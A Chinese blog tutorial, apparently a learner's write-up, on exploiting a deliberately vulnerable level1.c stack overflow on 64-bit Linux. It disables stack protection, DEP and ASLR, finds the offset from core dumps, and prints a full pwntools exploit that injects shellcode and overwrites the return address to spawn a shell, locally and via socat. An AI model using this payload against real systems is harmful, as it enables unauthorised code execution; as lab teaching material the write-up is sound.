ROP之linux_64 篇【上】

前言:本文是参考了一步一步学 ROP 之 Linux_x86 篇这篇文章的。由于老早之前就知道栈溢出和计算溢出点,但是不会用pwntools以及各种问题,导致了我写的exp从来没有运行通过。这次在看完这篇文章之后,明白了之前写的exp未成功运行的原因,以及在解决了这篇教程存在的几个问题之后,成功地实现了ROP技术的exp,因此想记录一下这个过程。

本文主要涉及了以下几个知识点:
1.core dump(核心转储)技术,关于这个可以参考一篇文章,传送门
2.关闭DEP(数据执行保护)和Stack Protector(栈保护),以及关闭ASLR(地址随机化)
3.pwntools的使用例子,详细教程传送门
4.x64操作系统的寄存器区别,可以参考前面的文章——gdb调试

注意:我使用的是linux_x64,而原教程的文章是x86系统的,所以在寄存器操作上有所不同。在看本文之前,最好先看看原来的那篇文章,这里不会对栈溢出的原理进行介绍,主要是提供我自己的解决思路。

本文还是使用原教程的例子:level1.c

#undef _FORTIFY_SOURCE
#include 
#include 
#include 

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

先放出自己的exp:

#!/usr/bin/env python
from pwn import *
context(arch='x86_64',os='linux',log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh())
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0x7fffffffe060      #此处是buf的地址,也是需要找到的关键地址

payload =  shellcode + 'A' * (136 - len(shellcode))   + p64(ret)   #原文这里是140,也是错误的参数,实际上在x86的机器上这里应该是144
p.send(payload)
p.interactive()

接下来开始讲解我的分析思路:

注:以下所有命令都是在root权限下运行的,且以及提前装好了pwntools

1.打开core dump,core文件格式可以自己设置

ulimit -c unlimited

2.关闭DEP(数据执行保护)和Stack Protector(栈保护),以及关闭ASLR(地址随机化)

#在编译的时候,使用-fno-stack-protector 和-z execstack来分别关闭Stack Protector和DEP
gcc -fno-stack-protector -z execstack -g -o level1 level1.c
#关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space 

3.运行level1,并且输入长字符串,使得栈溢出


image.png

4.按我原来的思路,是通过gdb调试来先找到栈溢出的点,再寻找程序运行的实际地址的,但是在自己测试之后,发现可以直接通过core文件来找到。因此用gdb来查看core文件

gdb level1 core
x/10s buf
x/10s $rsp
image.png

image.png

image.png

image.png

在看完以上的说明之后,可以发现由于这个函数没有调用任何参数,那么它在执行完之后,恢复到main栈帧的时候。rsp先指向rbp,然后再出栈一个机器字,执行完之后,rsp正好指向了该函数栈帧的ret的位置。所以这个查到的新rsp的地址就是旧ret的地址,ret = 0x7fffffffe060 (我自己测试的机器)。接着计算buf和rsp两个地址的差值为136,因此溢出的字符串长度应该为136。


image.png

由此,可以写出exp:
#!/usr/bin/env python
from pwn import *
context(arch='x86_64',os='linux',log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh())
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0x7fffffffe060      #此处是buf的地址,也是需要找到的关键地址

payload =  shellcode + 'A' * (136 - len(shellcode))   + p64(ret)   #原文这里是140,也是错误的参数,实际上在x86的机器上这里应该是144
p.send(payload)
p.interactive()

运行这个exp,发现成功触发了shell:


image.png

image.png

以上就是本地调试的过程,远程调试过程如下:

远程调试使用socat来挂载程序,而在关闭地址随机化的情况下,远程调试的地址和本地调试的也是不一样的,需要重新找到该地址。

1.使用socat挂载程序:

 socat TCP4-LISTEN:2008,fork EXEC:./level1

2.打开一个新的终端,nc连接

nc 127.0.0.1 2008
#接着为了生成core文件,输入长串的字符串引发错误
image.png

3.这样就会在原来的文件夹下面生成一个新的core文件,按之前的思路分析core文件就可以了
4.找到新的地址之后,修改exp为远程调试,同时修改ret地址就可以了


image.png

在之前的寻找溢出点的过程中,我们直接用了core文件,但是在很多时候我们可能无法获得这个文件,因此可以考虑用gdb来调试。参考之前的文章gdb调试,此处要注意一个问题:

在用gcc编译c文件的时候,要一起用-g -o这个选项,否则在少了-g的情况下,gdb调试想要进行断点设置和查看源代码的时候提示no signal信息。

推荐阅读材料:初探ROP攻击 Memory Leak & DynELF

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42239&highlight=linux%2Bpwn

你可能感兴趣的:(ROP之linux_64 篇【上】)